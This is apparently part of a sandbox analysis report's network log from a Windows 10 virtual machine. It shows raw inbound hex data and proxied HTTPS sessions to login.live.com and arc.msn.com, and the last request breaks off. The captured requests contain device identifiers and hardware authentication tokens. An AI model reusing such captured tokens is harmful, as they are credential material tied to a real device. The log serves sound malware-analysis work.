Nov 26, 2024 16:33:10.680567980 CET	1236	IN	Data Raw: b9 8f 46 74 f7 cc df 0d f8 82 47 eb e7 91 5c 6b 78 34 35 f5 f3 60 18 c1 b0 2e c2 2a 85 8c 10 ba 35 c2 13 20 50 b2 41 48 af 27 5a e7 51 df c5 ed f3 96 b2 b2 57 80 0b 4c 22 f4 ea 82 fa d0 2b dd 2c 9f d0 1f e8 d2 8f b5 d4 30 72 75 7a f1 2e 1d c1 e0 Data Ascii: FtG\kx45`.*5 PAH'ZQWL"+,0ruz.4L4}+2=FNDP}w ~tBox?6Vj\|XdUn=f}fHTx>UI0.1q&gyEJgGnFif/L1}\
Nov 26, 2024 16:33:10.680579901 CET	1236	IN	Data Raw: 3f 3e 05 39 14 d4 fe 3c 37 b9 a2 b5 c4 aa ff ee e7 82 13 f4 cd 60 93 c5 5c af 28 ed d9 d6 c7 bf f0 29 30 25 d0 d7 92 3e 2b cf 00 66 16 bd db db fc f5 8c d9 84 b7 63 24 20 5c d4 4b 75 91 41 7d 11 9c ae 74 e7 5d 97 05 53 ea d3 b2 68 a1 71 b5 3b 49 Data Ascii: ?>9<7`\()0%>+fc$ \KuA}t]Shq;I]\|z?^g{[&e>cb-EH1d+.r55-Do(^h\>Cp50A9X1%E<<>qOCaZ*30\|\
Nov 26, 2024 16:33:10.680591106 CET	1236	IN	Data Raw: 13 1e 0f ce ce 0a eb 6f ed 84 d8 99 76 c6 1a dc e0 b9 ca ae 27 ae fa 59 27 d0 67 7d f8 47 6e 3d 0e 49 78 f5 15 b0 3e 32 73 60 90 a6 20 5b 7a 27 81 ad 60 72 ac 72 67 31 f5 00 3f 7b bf 64 69 7a 0d 6d 46 a7 13 91 4d 8e 45 81 a8 f5 02 89 30 87 6d 69 Data Ascii: ov'Y'g}Gn=Ix>2s` [z'`rrg1?{dizmFME0mit2/thj`:XCx@R/s(Wez@p,@aHC4W,~$*Tad.Gs.bx(6I]5m?1-2B9hL1r
Nov 26, 2024 16:33:10.806269884 CET	1236	IN	Data Raw: b4 80 3a 44 b8 ec b6 1d 6e d4 2a ff a4 86 26 c4 5d 09 87 a4 0c 47 b4 c7 68 28 f5 ef 11 b9 df f1 79 92 18 9c 77 de 3a 4e b8 e7 93 cf b6 97 95 f6 6b 2d ec c2 89 37 07 7d 41 c8 1c dd 50 dd 2c 9d da 20 c9 01 79 f5 c6 8b 55 2a 03 10 5d 98 54 04 1e 1b Data Ascii: :Dn&]Gh(yw:Nk-7}AP, yU]T#)JEtah/9_~?-{pAM-smQN,Wq8=r/1[:'Gl9u-I_>#(z1IvS`0N'Ps-G[&[1SN(#s

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49716	20.190.147.7	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:08 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-26 15:31:08 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-26 15:31:08 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 15:30:08 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BL2 x-ms-request-id: 67d95dd4-f59c-48c6-817f-72e2c1d9a07b PPServer: PPV: 30 H: BL02EPF0001DA32 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 15:31:08 GMT Connection: close Content-Length: 11177
2024-11-26 15:31:08 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49715	20.190.147.7	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:08 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-26 15:31:08 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-26 15:31:08 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 15:30:08 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_SN1 x-ms-request-id: 72aa704d-b981-401f-a277-337068252576 PPServer: PPV: 30 H: SN1PEPF0002FA74 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 15:31:08 GMT Connection: close Content-Length: 11177
2024-11-26 15:31:08 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49717	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:09 UTC	2604	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T153105Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=0f0e1916b57c46dd8012d4d68cd7ef51&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=602473&metered=false&nettype=ethernet&npid=sc-338387&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=602473&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAT6kYjPgc21fnF+qxU27IIYQ/LI8/2YC6x8t8JuuZqMv8IWltkYOxXzJGNZ33N2eMtelQos9sMzJQPwDvdaqecdshi+lklq4h9h7SoVkr8sFeImCXCT5ZeRtF4gL7sYIXj4bDKsJlNbL3S4BNKPD/JAYfBcCva5wPgyB/XCeCBHFO4Bsgat4mzKJLNM7aoG3cIsptplVUp7q2jnQUScIvMFBDVWHOs3hrRHTsXDziJ0sI5s+KMkwTtB5Jini3thYSHsk18ehdWddCqtaQGadipY/sGKwZWNOVrRgYVzfzLBM06S0/wRnXrge1GQc+XHjJDVBo+WmsaX+a/qDeTF9+xYQZgAAEPEgPdwjR5sfmMt+ijaov2OwAa3wgmZmGBa5F2eKeGemFogrE+fazXB1Oi/GGfuL8MbI0NkXHMNC48i7TeFbq2UBZNC9PQbQpJ9YtbEfb6q9XYcJcyg8hLcSpbugjI8KGySw2kSNkvk1RBR7VfXF3ELnegvBmkvpc9Aqp6RzSymWHTYdg6JEuIBjnlhJso++/iGYDWBgXkdRRp7njB1bIEWrvJZbXxJP0xx39ub8JeYiVi47kJx7rLua9GfdG1eN0vwWW4QN8ZVJq12k4/szKkD6cH7sFHhQ9G1nY65mgI0KtfaKgqhUiYm1wsxQvIn7CAlQ7KnLl2Hqix8M3ExITwjoS2JsNdYTDaiRrM1WFK0d2M4G9wIEfcmjphUxRvfktObv4sOAusN/vbAGM73mawWk0RsEWJ+8TLuv+IBf5Ewz/FlGnschUDS9uwrCphCDPKewqZUNhSDKmQWYN10iVxHVN8ZQ5E11/Qq3Ro5LEkTteXvKHOKUX/W90egc5rz/m/rMMsfvfoDJ/TKiGGKKdRIyGB53svTtfFhCQ9EuBNzB8QEIHajudrPpSCIsQsw7tqVD3LWDCcNcv2SUYLzAtKClxNcB&p= Cache-Control: no-cache MS-CV: 3Vm+Jn6XVk6c/Y5v.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-26 15:31:09 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23926 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: o5Kg/Q4swhxd3FowzQvjWni+4gZhsBuvg6HfOvPDj7o4ZfRacRKN8o9THhMFfzO1yT3x3rxE4OcPbVG+if0xWQmosEOANksNOjPrQfU4wiP4VLBQ+AFkDbiLaeCMUdrRNgVIFbCpN8mANt01b2ELSWHWUHLNagLpbohY0BfDE5aFxO9aGBIDV0HRShLY9gnyfbMjqZjQ0wBVnn4kTL93ncf6HEwXZ8fJYhQSqxwiTEjLwRd4DBtG9B9housIzPbSwtjzXT5AZO//97ihmAptqoDWwmtCRjfL3NAsbt70oQdjD17EeqBImebkVgeE+yhxVorombRKeTSr7mhKRSWeKA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 15:31:08 GMT Connection: close
2024-11-26 15:31:09 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-26 15:31:09 UTC	8357	IN	Data Raw: 5c 22 2c 5c 22 65 78 70 69 72 65 54 69 6d 65 5c 22 3a 5c 22 32 30 32 34 2d 31 32 2d 31 30 54 31 35 3a 33 31 3a 30 39 5c 22 2c 5c 22 72 6f 74 61 74 69 6f 6e 50 65 72 69 6f 64 5c 22 3a 38 32 38 30 30 2c 5c 22 72 65 71 75 69 72 65 73 4e 65 74 77 6f 72 6b 5c 22 3a 30 2c 5c 22 72 65 75 73 65 43 6f 75 6e 74 5c 22 3a 2d 31 2c 5c 22 5f 69 6d 70 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 61 65 73 5c 2f 63 2e 67 69 66 3f 52 47 3d 37 64 61 62 65 35 32 62 66 34 66 61 34 63 32 32 61 61 65 35 63 35 38 38 35 63 37 35 32 36 30 63 5c 5c 75 30 30 32 36 6d 65 64 3d 31 30 5c 5c 75 30 30 32 36 70 75 62 49 64 3d 32 35 31 39 37 38 35 34 31 5c 5c 75 30 30 32 36 74 69 64 73 3d 31 35 30 30 31 5c 5c 75 30 30 32 36 74 79 70 65 3d 6d 76 5c Data Ascii: \",\"expireTime\":\"2024-12-10T15:31:09\",\"rotationPeriod\":82800,\"requiresNetwork\":0,\"reuseCount\":-1,\"_imp\":\"https:\/\/www.bing.com\/aes\/c.gif?RG=7dabe52bf4fa4c22aae5c5885c75260c\\u0026med=10\\u0026pubId=251978541\\u0026tids=15001\\u0026type=mv\

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49718	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:11 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T153105Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5a5f21dbd3d84bf2bad9376c31e8b0d3&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=602473&metered=false&nettype=ethernet&npid=sc-280815&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=602473&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZ1hoi1TzaYpzVzVd+YEO56cZ06MOdgqXgXAos1MJlN20gETlA48eLOMymFJLsl3BR1xoa0l1AqAc1pL5sh92Wgv6yvNuk1kRRInCLjTHwSOB+mN4vbAGUcSb2inNrqBd6MrjdXVkRBeP9lXgilXe2QNa1DQCAM3N2SEx7JT5JOBvnF2NZjoOYwIm+8ouLgbnZrw8Z8oab5XNr1HLO65qqsvrynoNCHPogROjeI7uCNqb4bGLh6mXzcbfXd/B+iLou/WeT0DyeHD7YG8I/ToyDfN3baS69B6WQAwym8CSQ4ZGFVnHigaFfNozHq/m68FrSCq9Xv8TsYixg0Dz4ydktUQZgAAEBDtgiZRMx/Tgqy+mRRqYdmwAQ+0uyQ1ZF1E46U1ViVuoYlHgmEZfw9+BKZgJW41XjnxSrfEL7QTf+WdsmMa1hYFEJVShV3v+8OPaaCC+bPsUYzcaxkRJlns7i9r4Zh/H2hGBaGHpbTWbjMFYBKmFiVinYcosVV6FUDTpuF8I3r/+K5/dXXWbpu2FZ/LoqVBfJd5KbVz3JID2xH/KlolYAuYxWnxDEeCdhp6w6ZjyiPJst4jrsQI8T1cuEdqWqH/ML1OQGOzBBKDUYVAp7iosekWNSfZF+ysBMvgPPguxFTkyYkULo1G8hx5xLE0qN3XikC/LSFeiXH7q6cuFv3YpdwmLa9aXqrVAeWMAaQ1k7ZcD4tYVay7BCfrwZ3hu8U/ZWNwegHyBLMz32b2JXtCp8kc7dzknTJCfKycGCMiKX+s0JPnLVGp+2FAn9aNmHDKDOimtVpc4xsPvCfDeXJDANCOQapQ1ffYR5ycrCfpFe1ejnR07K0rfcxzXBQuicHjpWEzIlZeKXYtGpIAxey70/Jy0aKxeC0b2M+qF/U7Fey5VK9kv1cwudrC5JBXPolZB75gslaXq3ivS8C3s/UzoXh+8tcB&p= Cache-Control: no-cache MS-CV: 3Vm+Jn6XVk6c/Y5v.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-26 15:31:11 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2939 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: Mer3slRpo/KMYFIAZxNbtejsLMX+r/H+03aZNsCKkGXPsbPf/GqnZVCVkpg/Wlx5VB69A8mvdLB9zEaNZHFDucl/RYunEWid6TtlZwIYWPgCr6skojbWeHE54k5MoCFYwB/53FIO0ZR7s6Ckv3e6/jNUpj9RIebpn93n6+htEc2NzkMasULETyoC79A+GE6pDmQgkz4uPZPexmcsgzEeKidBxCAsWBH8LcFSdT4+nayAziKTJXFC9u7FipVmHhBdn4+UcWxlui3Tr1b1TDiSPRyB0okpspaqiSx13xEC8QPybKDBMPKG70yOmq9GzgfL0Da1sfcX9comPtzzZHSRZg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 15:31:10 GMT Connection: close
2024-11-26 15:31:11 UTC	2939	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49719	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:11 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T153105Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=631cafce5fda4443a240cb1fb9a6340f&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=602473&metered=false&nettype=ethernet&npid=sc-338388&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=602473&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: 